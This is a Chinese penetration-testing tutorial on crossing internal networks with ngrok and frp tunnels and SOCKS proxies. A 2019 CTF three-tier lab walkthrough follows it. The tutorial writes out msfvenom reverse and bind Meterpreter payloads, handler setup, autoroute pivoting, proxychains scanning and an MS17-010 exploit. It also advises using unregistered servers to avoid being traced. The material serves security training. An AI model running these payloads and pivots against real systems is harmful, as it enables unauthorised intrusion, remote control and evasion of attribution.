70 内网安全-域横向内网漫游Socks代理隧道技术

目录

主要说的是socks代理技术,属于内网的穿透技术,代理主要是解决内网通信的问题,代理也能解决防火墙的拦截,但隧道主要是安全设备、流量监控等设备上的拦截问题,因为当我们去做渗透测试的时候,需要回传数据,或者回传敏感的东西,你走的协议不一样的话,在这个TCP/IP有七层协议,像TCMP、SSH、HTTP的协议,有些协议它会受到防火墙、过滤设备的流量检测工具、检测设备平台的干扰,所以在内网经常会出现流量传输数据会回显数据、拖数据的时候会出现拦截和一些报警,隧道技术主要是解决这类问题的

对方在内网,我也在内网,这个时候两个内网要能实现通讯的话,就必须要借助代理才能实现

eathworm已经停止更新

必要基础知识点:

1.内外网简单知识

2.内网1和内网2通信问题

1这个主机在内网1里面,2主机在内网2里面,比如我在我的学校宿舍里面上网,你在网吧上网,那我们两个就都属于内网,但是我们不是一个内网里面,就是你是你学校内网,我是网吧的内网,这两个网络如果要实现通讯的话,比如说我现在有个后门CS,我生成一个后门,然后发给你,这个时候你能让对方上线到这里来,这个是上不了线的,因为你们都是内网,除非这个时候采用代理技术

两个内网再实现通讯,能够实现控制或者数据回连的时候,那基本上是不可能的,就是说你想用CS控制内网主机,你CS也在内网,它的受害主机在另一个内网,不在同一个内网,那么上线是不可能的,因为无法控制它,只会有数据的传递,因为你们都连接互联网,你们可以通过互联网去连接数据,但是这个数据它无法准确的找到你

3.正向反向协议通信连接问题

控制端去连接被控端,这种情况就是正向

被控端去连接控制端,这种就是反向

你的控制端如果是服务器,外网的一台主机,就相当于你在外网有个唯一的IP地址,通过这个IP地址能够找到你,然后对方被控的肉鸡,是一个内网,如果你主动去找被控的内网主机的话,你是找不到的,因为它会有两个IP地址,一个是外网IP,一个是内网IP,你连接外网IP,就相当于你找到一个接口,就好比我们通过路由器上网一样,它就找到路由器那里,那还怎么找到你的主机呢,因为路由器下面还会有很多主机,所以它写这个IP地址,它只会找到路由器那里

连接内网IP地址,因为这个IP地址,内网都可以用到,每个内网里面都会有这个IP地址,就找不到,因为不是唯一的,所以我们主动去连接内网主机连接不上;反过来是反向的话,让被控制端主动过来找你就可以

4.内网穿透代理隧道技术说明

演示案例:

内网穿透Ngrok测试演示-两个内网通讯上线

1.注册-购买-填写-确认http://www.ngrok.cc/

协议: http 本地端口:192.168.76.132:4444

2.测试: 内网1执行后门-免费主机处理-内网2监听-内网2接受器

bash 复制代码
./sunny clientid aa0676878c162ffc
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit

理论上不涉及到代理是控制不了的,因为你两者都是内网,你生成后门的时候,你如果写你外网木马地址的话,那么被控制端去连接的时候,找的是你的路由器,你写你内网地址更加找不到,所以它就不可能去实现控制,这个时候就要借助我们的Ngrok工具来实现这个连通

Ngrok会在外网提供一台服务器给你,就相当于这个肉鸡去找你的时候,先找你的服务器,服务器在传输给你,同样的,我们去找被控制端也是要去找这台服务器,这台服务器,我和被控制端都能访问的到

服务器会在控制端这里有个客户端,就相当于接收服务器给的数据,所以你出去这个客户端给服务器,回来也是经过客户端在给到你,所以这个数据的连通就是正常的,ngrok就相当于一个中介

ngrok下载地址:https://www.ngrok.cc/

免费的经常会出现掉线,用的时候看你自己需要吧

你用那种协议,等下木马生成就要走什么协议

我用MSF生成一个后门,然后再用一台电脑,执行这个后门,让两个内网实现连接

运行客户端,它就会寻找到我们的外网上去

确保是online状态就可以了,如果不是这个状态说明你这个隧道有问题,可能是我们的网络有问题,要换收费的

端口要跟我们的木马保持一致

msf配置后门的监听状态,设置payload就很我们生成后门的payload木马保持一致

我们把后门执行一下,可以看到接收到会话了,接收到的数据一直在变动

kali是控制端,它在它本地运行ngrok,专门监听ngrok的服务器给到它的实时端口,然后木马配置的就是建立这个监听的木马,所以木马就会找ngrok的服务器,所以ngrok的服务器就监听到了,数据就会给到本地4444,所以我监听4444端口,就会成功监听到木马的回连,其实就是相当于中间多了个服务器,就为他们的传输数据做铺垫,因为他们两个内网,如果单独去找对方,那都找不到,因为都是内网,所以只能借助外网主机,来帮助做这个事情,就是对方要给数据的时候,就到外网,外网就给到下面

如果大家有什么商用、比较重要的一些,建议还是要使用收费的,免费的,速度各方面,有点小问题,如果你在传输数据,突然断一下很尴尬的,如果不支持断点续传的话,可能又要重新下载了

买的服务器也不是自己的服务器,就是别人帮你提前部署好的,那么对于你在测试的时候,有些隐私或者小秘密怕别人知道,毕竟你用的是别人的服务器,工具本人可以上去偷偷看一下,想要一点秘密的话,可以使用frp,但是使用ngrok可以避免被溯源到,在红蓝对抗中,这也是一个优点

内网穿透Frp自建跳板测试-两个内网通讯上线

自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们

1.服务端-下载-解压-修改-启动 (阿云主机记得修改安全组配置出入口)

服务器修改配置文件frps.ini:

[common]

bind_port = 6677

启动服务端

./frps -c ./frps.ini

2.控制端-下载-解压-修改-启动

控制端修改配置文件frpc.ini:

bash 复制代码
[common]
server_addr = 你的云主机ip
server_port = 6677           #frpc工作端口,必须和上面frps保持一致
[msf]
type= tcp
local_ip =127.0.0.1
local_port = 5555                 #转发给本机的5555
remote_port = 6000             #服务端用6000端口转发给本机

启动客户端:

bash 复制代码
./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe -o frp.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

3.靶机运行frp即可

有条件尽量搞个黑服务器,就是不用实名,不用填一下乱七八糟的的东西,可能价格会高一点,那种服务器不受限制,就不会存在流量各方面受控、端口上面运行一些监控

frp工具相对于ngrok工具会相对更加灵活,你自己搭建的,走的地址由你自己指定,它就能解决两个内网的问题。比如,我在自己家里面,你在学校里面,我想控制你都可以,只需要建立跳板,frp、ngrok类似工具,我直接穿透你,我们以前控制都还需要在外网上面搞个后门工具,偷偷在上面控制,控制端连接外网,在上面操作的话,也在外网操作

这个时候有frp之后,内网的工具也能实现

有时候外网上面工具也不齐全,像你自己电脑很多东西都不是齐全的,这样子传输的时候,也能帮你穿透内网,更方便,你在外网的主机上面去操作的话,很麻烦的

这个技术可以利用到多项操作里面,像扶一下梯子,各种各样都可以

CFS三层内网漫游安全测试演练-某CTF线下2019

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个ELag对应一个积分,获取三个Flag结尾。

Target1:

探针目标-利用WEB漏洞(TP5 RCE)-获取webshell权限-获取FLag-Target2

1.生成后门:

bash 复制代码
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

2.接受反弹

bash 复制代码
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST 192.168.76.132
set LPORT 1111
exploit

3.信息收集及配置访问

bash 复制代码
获取网络接口: run get_local_subnets
查看路由地址:  run autoroute -p
添加路由地址:  run autoroute -s 192.168.22.0/24
开启本地代理:
use auxiliary/server/socks4a
set srvport 2222
exploit

4.利用本地代理接口访问测试

设置浏览器代理进行访问测试

linux:

配置proxychains后调用工具探针Target2

bash 复制代码
/etc/proxychains.conf
socks4 192.168.76.132 2222
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80

-Pn: 扫描主机检测其是否受到数据包过滤软件或防火墙的保护。

-sT: 扫描TCP数据包已建立的连接connect

windows:

利用代理工具Proxifier或SocksCap64载入代理进行进程访问测试

Target2:

探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取FLag-Target3

http://192.168.22.128/index.php?r=vul\&keyword=1 #sql注入

http://192.168.22.128/index.php?r=admini/public/login #后台

http://192.168.22.128/index.php?r=special #后门shell

1.生成正向后门:

bash 复制代码
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

2.访问接受

bash 复制代码
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

3.信息收集及配置访问

获取网络接口: run get_local_subnets

查看路由地址: run autoroute -p

添加路由地址: run autoroute -s 192.168.33.0/24

Target3:

探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG

bash 复制代码
proxychains4 nmap -Pn -sT 192.168.33.33
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
shell
dir /S flag.txt /B
type xxxxx.txt

我现在有个76网段,然后我攻击目标1的76.148,因为这个接口我能访问,然后我攻击到它之后

目标3没有网络,所以你正向也不行,反向也不行,正向连接它,你没有它的网段连接不了,它主动过来找你,也不行,因为它没有网络,所以我们只能一步步渗透,渗透到目标1这个服务器了,通过它的网卡22.129去攻击目标2,之后目标2这里是不是有33网卡,这个时候,我们借目标2去攻击目标3

TP5之前报过漏洞,我们直接用EXP去搞它

因为能执行命令,我们就可以直接写webshell到后门网站的路径下面去,看一下当前路径在那里

查看下面目录的内容

写入后门2.php

利用后门工具去连接

这个时候,我们要把它当作跳板,我们可以借助CS、MSF进行操作,因为CS上线之后,即使权限不够,也可以执行一些文件来加载代码

CS和MSF的会话是可以交接的,不用去纠结是用cs还是msf

把.elf文件传上去,执行文件

我们前期会进行一个信息收集,收集来的信息,其中就有一个叫网络接口信息

76网卡就是跟我们这台主机建立连接的,22网卡就是连接内网的另一台主机,但是我现在访问不了22网卡,因为我这个kali是76网卡

添加个路由

查看路由地址

我们刚才反弹的会话就是session1,就是说在session1上面多了个路由,表示说我上面有22网卡,添加了一个网络接口,那么我就可以对22网卡进行通讯了,由于是建立到session1的,因为这个session1是通过目标1执行后门后,反弹给我的,所以session1原则上是建立在target1上面,所以我增加路由能成功的原因在这里,添加完之后,说明我跟22这个网卡是能够通讯的

但是这个路由有个问题,只能通过msf进行通讯,这个路由是写到msf上面,有些工具你没有路由规则,那么它对22就无法访问,它只能在msf会话上面进行操作,所以这个时候会在本地开个代理,相当于给其它人一个接口,

我们访问目标2,只受限于会话上面,只在msf上面进行操作,但msf上面要进行攻击,虽然它上面有很多命令能够进行探针,但是他不能攻击,我们肯定是要进行常见攻击,用浏览器打开、用端口扫描,看的着,摸得着的东西去攻击,那样子才能得心应手

这个时候由于我们在上面无法用这些东西进行操作,上面没有这些东西,没有这些功能,所以这个时候,我们就开一个接口,就相当于在目标1或kali上面开个接口,然后让外部人去连接这个接口,因为目前这个kali已经能够访问到目标2了,因为kali上面已经有路由了,所以我可以在上面开个接口,我可以通过本机访问kali2222端口,就相当于我本机就能连到目标2这里

利用本地代理接口进行端口探针,有时候防火墙会影响到探针的结果

我们使用浏览器访问目标网址,我们要建立代理,走这个代理,相当于享有这个路由和工具调用端口是一个道理

利用sql注入拿到账号密码,对目录进行扫描获取后台登录网址,进行登入,进入后台,获取flag

这个是后台,后台不可能做代理,就是说我还是需要拿webshell,拿webshell后面才能做代理,做路由,可以通过后台的功能来拿webshell,后台功能里面有模板,模板可以修改代码,直接找到对应文件,写个后门到里面去

打开后门连接工具,进行连接,先进行代理设置,让工具走socks4协议,连接kali的2222端口

proxifier是全局代理工具,你配置好代理之后,相关的应用程序,就会走这个协议

有些程序支持上面配置代理,有些不支持,就会有这样的一个差距,不支持你就用sockscap64工具加载

我们现在是要让目标2主机上线,上线到kali来,生成后门的时候,我们不是要写IP地址,因为在目标2上面没有76网段,使用目标2访问不到76网段,就只能正向连接,我们去连接目标2,我们的控制端是在76网段这里,我们现在取到了目标1的权限,他有22网段,而且我添加了路由,我能找到目标2,目标2没有我的路由,他找不到我,所以我只能正向连接

我生成一个后门绑定3333端口,然后我再用我的kali主动连接目标2,其实就是让我这台主机主动去找目标2

然后我在把木马上传到webshell上执行

开启监听状态


看一下目标2的网络环境

查看当前路由

添加路由

那会话上面就有这个路由了

接下来的操作就跟目标1一样了,在开一个端口走协议socks4连接33,对端口3333进行攻击,因为他是windows主机,我们可以使用nmap --script=all进行扫描,也可以使用nessus扫描,在真实渗透测试过程中,我们肯定是要对他进行一些扫描过程

利用扫描到的主机漏洞,进行攻击

涉及资源:

bash 复制代码
http://www.ngrok.cc/
https://gofrp.org/docs/
https://github.com/fatedier/frp/releases
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码: xiao

cs图形化会比msf好看点,但是命令会比msf少一些,功能少一点,所以我们用msf,如果你熟悉cs的话,可以用msf把会话反弹到CS上,就是委派到CS上面去

对方能够连接你就用reverse,不能就用bind

搭建好隧道之后,用CS来监听也可以

相关推荐
?3333343 分钟前
CTFHub Web进阶-PHP-Bypass disable_function攻略
开发语言·安全·web安全·php
ai产品老杨2 小时前
报警推送消息升级的名厨亮灶开源了。
vue.js·人工智能·安全·开源·音视频
为几何欢4 小时前
【hackmyvm】soul靶机wp
安全·网络安全·渗透·hackmyvm·hmv
云云3218 小时前
云手机服务器如何做到群控多台手机的?
服务器·线性代数·安全·智能手机·矩阵
m0_748255269 小时前
前端安全——敏感信息泄露
前端·安全
网络安全Jack9 小时前
什么是网络安全等级保护?
网络·安全·web安全
Dovir多多10 小时前
Python数据处理——re库与pydantic的使用总结与实战,处理采集到的思科ASA防火墙设备信息
网络·python·计算机网络·安全·网络安全·数据分析
Clockwiseee12 小时前
RCE常见姿势
安全·web安全·网络安全